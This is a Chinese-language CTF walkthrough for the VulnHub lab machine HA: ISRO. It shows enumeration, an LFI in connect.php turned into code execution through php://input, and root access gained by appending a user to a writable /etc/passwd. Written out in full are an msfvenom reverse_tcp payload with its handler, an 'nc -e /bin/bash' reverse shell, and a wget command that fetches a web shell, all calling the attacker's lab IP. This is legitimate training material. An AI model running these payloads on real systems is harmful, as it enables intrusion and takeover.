『VulnHub系列』HA: ISRO-Walkthrough

靶机地址
难度:中等
靶机发布日期:2019年10月4日

在这里插入图片描述
靶机描述:

This is our tribute to the Indian Space Research Organisation (ISRO). We as Indians are proud of ISRO and its achievements. Solve this CTF challenge and feel the work of ISRO.
This machine contains 4 different flags to test your skills.
- Aryabhata
- Bhaskara
- Mangalyaan
- Chandrayaan 2
ENUMERATION IS THE KEY!!!!!

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirb
dirsearch
metaspaloit
msfvenom
binwalk
steghide
LFI漏洞
/etc/passwd可写

存疑、待解决

  • 为什么binwalk无法检测出图片中包含的flag.txt,而steghide却可以提取出来?

0x00、信息收集

靶机IP:192.168.0.107

netdiscover -r 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.107

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

在这里插入图片描述

python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html

[04:54:33] 301 - 312B - /img -> http://192.168.0.107/img/

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在这里插入图片描述
网站首页

在这里插入图片描述
http://192.168.0.107/bhaskara.html

在这里插入图片描述
对L2JoYXNrYXJh进行base64解码得到/bhaskara

echo 'L2JoYXNrYXJh' | base64 -d

在这里插入图片描述

结果让人喜悦,开始以为这可能是个目录吧,然后就访问了一下,结果下载了一个文件

在这里插入图片描述
file命令查看文件类型

在这里插入图片描述

在这里插入图片描述
bhaskara对应的正是data数据文件。经过一番的google搜索,我们最后使用last 读取了bhaskara里面的内容。

其实这里走偏了,后面再讲。

last -x -f Desktop/bhaskara

在这里插入图片描述
有一个系统用户bhaskara?尝试了hydra爆破ssh和ftp,无果。

然后我到Twitter上问了一下做出来的大兄弟,结果这哥们儿没发现bhaskara文件。What??那我想他应该少了一个flag
在这里插入图片描述
想着顶部导航栏的各个菜单对应的url会不会都有这样的规律:Bhaskara–>http://192.168.0.107/bhaskara.html,因为它是可以访问的。
于是挨个试着访问了下面的地址:
Aryabhata–>http://192.168.0.107/aryabhata.html
Mangalyaan–>http://192.168.0.107/mangalyaan.html
Chandrayaan 2–>http://192.168.0.107/chandrayaan.html
结果并不是我想的那样。

connect.php,空白页面,查看源代码也是啥也没有

在这里插入图片描述

0x01、aryabhata的flag

http://192.168.0.107/img/

在这里插入图片描述
我把img目录下的所有图片都下载下来了,挨个用binwalk去检测是否含有其他文件。其实按照常理推断,我们的目标肯定是aryabhata.jpg,至少文件名是比较敏感的。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后使用steghide提取出flag.txt,这里输入密码的地方直接回车就可以了,不知道为什么最开始使用binwalk的时候没有检测出来。

在这里插入图片描述

0x02、发现LFI漏洞

最开始我有想到过connect.php可能有参数的,那个时候我想的是既然名字叫connect,再加上我从下载的那个文件里面得到了一个用户名bhaskara,所以我尝试了connect.php?user=bhaskara,结果并没有起作用。Twitter上老哥说,What can you do with the php file? Can it have parameters maybe? 于是我猜想这个参数会不会是file?结果还真给我猜对了。

在这里插入图片描述
存在文件包含漏洞,测试出了webroot的物理路径

在这里插入图片描述
随后我用wfuzz想测试一下有哪些文件可读取,因为有些请求虽然返回的是200,但是没有任何内容,所以我用–hl 0过滤掉了这部分。

字典用的是Github上2W+Star的SecLists

wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.0.107/connect.php\?file\=FUZZ

在这里插入图片描述
把重复的内容过滤之后剩下了这些可读的默认路径文件

  • /etc/passwd
  • /etc/group
  • /proc/self/stat
  • /proc/self/status
  • /etc/mysql/my.cnf
  • /etc/vsftpd.conf

手工测试的时候还发现了

  • /etc/issue
    在这里插入图片描述
    Uid是33,说明运行apache服务的系统用户是www-data

在这里插入图片描述
/etc/vsftpd.conf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x03、getshell

getshell的过程如下:

在这里插入图片描述

尝试了这篇文章里的方法local-file-inclusion-remote-code-execution-vulnerability,成功读取到phpinfo信息,步骤如下:
第一步,使用Burpsuite对connect.php页面进行抓包;
第二步,修改GET请求为POST请求,并将file参数值设为php://input
第三步,增加POST请求内容<?php phpinfo(); ?>
第四步,发送请求,之后为了方便查看返回的内容,我使用了Burpsuite里面的Render以达到在浏览器上访问页面的效果。

在这里插入图片描述
在这里插入图片描述
既然这样我想就可以用下面这个方法上传shell了,但是过程并不顺利

<?php system('wget http://x.x.x.x/php-shell.php -O /var/www/html/shell.php'); ?>

ifconfig命令查看kali的IP为192.168.0.110

msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=1234 R > shell.php 

记得把下图中红框部分的两个字符删除

在这里插入图片描述
msfconsole准备接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 1234
run

在这里插入图片描述
在这里插入图片描述
浏览器上访问http://192.168.0.107/shell.php,状态码200,但是msfconsole并没有接收到shell。随后我用同样的方法上传了phpinfo.php,然后浏览器访问时正常显示。

在这里插入图片描述
那么为什么shell没有反弹?检查了一遍本地的shell.php,没有什么问题,而且之前也都用了好多遍的。那么靶机上的shell.php是否是“正常”的。从下图中可以看到已经上传上去了。

在这里插入图片描述
或者

在这里插入图片描述
尝试查看shell.php的内容时,却返回了400的请求

在这里插入图片描述
或者

在这里插入图片描述
尝试将shell代码进行base64编码

以下payload均需base64编码

  • <?php phpinfo(); ?>是可以成功执行的;
  • <?php echo"xxxx"; ?>也是可以成功执行的;
  • <?php system('ls'); ?>也是可以成功执行的;
  • <?php system('wget http://192.168.0.110/shell.php -O php-shell.php'); ?> 状态码500
  • <?php system('ls -la'); ?>也是可以执行的
  • <?php system('nc -e /bin/bash 192.168.0.110 6666'); ?>状态码500。这个是因为靶机是Ubuntu的,nc默认是无法使用-e参数的。

最后我直接把msfvenom生成的webshell代码进行base64编码,然后使用发送请求,成功getshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x04、获取root权限

查找SUID权限可执行文件

在这里插入图片描述
目前我知道的可以提权的SUID权限可执行文件有:

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash
    故排除SUID提权的可能性。

查看全局可写目录,并没有发现有价值的信息

在这里插入图片描述
查找全局可写文件,结果中奖了,发现/etc/passwd文件可写,这不就等于已经提权成功了么,哈哈哈

find / -writable -type f 2>/dev/null

在这里插入图片描述
openssl生成密文

openssl passwd -1 -saltvalue ins1ght

在这里插入图片描述
在/etc/passwd最后一行增加如下内容:

ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash

这里我没有用vim或nano去编辑/etc/passwd。nano我没在这个靶机里面用成,因为报错了;用vim的时候我习惯先用上下左右键移动光标到最后一行,但是这个pty里面用不了。我这里是用echo命令将内容附加到/etc/passwd文件中的。

echo 'ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash' >> /etc/passwd

在这里插入图片描述
su切换至root权限

su ins1ght

在这里插入图片描述

0x05、bhaskara的flag

Twitter上问了一下作者下载得到bhaskara文件是个什么玩意儿,得到如下回复:

在这里插入图片描述
Github上找到别人写好的获取TrueCrypt文件hash值的脚本truecrypt2john.py

python truecrypt2john.py Desktop/bhaskara > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash

在这里插入图片描述
得到密码xavier

下载VeraCrypt用来打开bhaskara,VeraCrypt下载地址,我这里下载的是Debian-9的版本,下载后校验sha256,校验通过后进行安装。

sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb
dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb

在这里插入图片描述
打开bhaskara文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
出现上图中错误是因为没有勾选TrueCrypt Mode,见下图。

在这里插入图片描述
之后会挂载一个光驱,大家的图标可能略有不同

在这里插入图片描述
在这里插入图片描述

0x06、Mangalyaan的flag

关于下面这个flag的获取方法我是看了作者写的Walkthrough,地址在这里ha-isro-vulnhub-walkthrough。嗯~如果没有Tizi的话,文章里面的图片是看不了的……这个我也没招儿

之前nmap扫描端口和服务的时候并没有发现3306端口,但是其实靶机是开了3306端口的,并且只能在本地访问

在这里插入图片描述
登录数据库(没有密码),读取flag

show databases;
use flag;
show tables;
select flag from flag;

在这里插入图片描述
至此,靶机的4个flag都拿到了。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

在这里插入图片描述

发布了41 篇原创文章 · 获赞 14 · 访问量 7923

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/102155129